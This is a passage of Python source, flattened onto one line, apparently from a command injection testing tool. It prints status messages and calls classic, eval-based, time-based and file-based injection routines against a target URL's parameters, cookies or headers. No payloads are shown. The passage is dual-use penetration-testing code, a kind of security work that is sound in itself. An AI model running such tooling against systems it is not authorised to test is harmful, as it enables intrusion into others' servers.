cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie": info_msg += str(header_name) + str(the_type) + str( check_parameter) + " for tests." else: info_msg += str(the_type) + str(header_name) + str( check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) classic_command_injection_technique(url, timesec, filename, http_request_method) else: classic_command_injection_technique(url, timesec, filename, http_request_method) dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." print(settings.print_warning_msg(warn_msg))